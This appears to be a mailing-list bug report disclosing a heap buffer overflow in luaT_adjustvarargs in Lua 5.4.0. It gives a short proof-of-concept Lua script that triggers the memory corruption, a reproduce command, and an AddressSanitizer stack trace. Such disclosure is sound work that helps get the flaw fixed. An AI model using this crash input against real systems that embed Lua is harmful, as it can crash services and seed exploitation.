- **Subject**: **Heap overflow in luaT_adjustvarargs**
- **From**: Yongheng Chen <changochen1@...>
- **Date**: Mon, 6 Jul 2020 00:41:39 -0400

Hi,

We found a heap overflow in lua. Here's the details:

Version:

Lua 5.4.0, git hash c33b1728aeb7dfeec4013562660e07d32697aa6b

POC:

```
do
function errfunc(p16, p17, p18, p19, p20, p21, p22, p23, p24, p25, p26, p27,
                 p28, p29, p30, p31, p32, p33, p34, p35, p36, p37, p38, p39,
                 p40, p41, p42, p43, p44, p45, p46, p48, p49, p50, ...) a9
  'fail' end coroutine.wrap(function() xpcall(
    test,
    function() do setmetatable({},
                       { __gc = function() if k < 2 then end end })
      end end) xpcall(test, errfunc) end)() end
```

How to reproduce:

./lua poc.lua

Stack dump:

```
=================================================================
==12863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001370 at pc 0x000000434ef4 bp 0x7ffeca5e4290 sp 0x7ffeca5e4280
WRITE of size 8 at 0x61d000001370 thread T0
    #0 0x434ef3 in luaT_adjustvarargs (/home/yongheng/lua_asan/lua+0x434ef3)
    #1 0x43a6fa in luaV_execute (/home/yongheng/lua_asan/lua+0x43a6fa)
    #2 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
    #3 0x4112ae in luaG_errormsg (/home/yongheng/lua_asan/lua+0x4112ae)
    #4 0x411491 in luaG_runerror (/home/yongheng/lua_asan/lua+0x411491)
    #5 0x411595 in luaG_typeerror (/home/yongheng/lua_asan/lua+0x411595)
    #6 0x4138bc in luaD_tryfuncTM (/home/yongheng/lua_asan/lua+0x4138bc)
    #7 0x41480d in luaD_call (/home/yongheng/lua_asan/lua+0x41480d)
    #8 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
    #9 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
    #10 0x4112ae in luaG_errormsg (/home/yongheng/lua_asan/lua+0x4112ae)
    #11 0x411491 in luaG_runerror (/home/yongheng/lua_asan/lua+0x411491)
    #12 0x411595 in luaG_typeerror (/home/yongheng/lua_asan/lua+0x411595)
    #13 0x4138bc in luaD_tryfuncTM (/home/yongheng/lua_asan/lua+0x4138bc)
    #14 0x41480d in luaD_call (/home/yongheng/lua_asan/lua+0x41480d)
    #15 0x40bfb3 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bfb3)
    #16 0x45672e in luaB_xpcall (/home/yongheng/lua_asan/lua+0x45672e)
    #17 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)
    #18 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
    #19 0x4142f2 in unroll (/home/yongheng/lua_asan/lua+0x4142f2)
    #20 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
    #21 0x4157f2 in lua_resume (/home/yongheng/lua_asan/lua+0x4157f2)
    #22 0x469fa4 in auxresume (/home/yongheng/lua_asan/lua+0x469fa4)
    #23 0x46a4da in luaB_auxwrap (/home/yongheng/lua_asan/lua+0x46a4da)
   #24 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)
```

Found by: Yongheng Chen and Rui Zhong

Best,

Yongheng

- **Follow-Ups**:
  - **Re: Heap overflow in luaT_adjustvarargs**, *Andrew Gierth*

- Prev by Date: **Heap use after free in luaD_call**
- Next by Date: **Re: [ANN] Ravi (a Lua dialect) 1.0 Beta-4 Release with JIT compilation support**
- Previous by thread: **Re: Heap use after free in luaD_call**
- Next by thread: **Re: Heap overflow in luaT_adjustvarargs**
- Index(es):
  - **Date**
  - **Thread**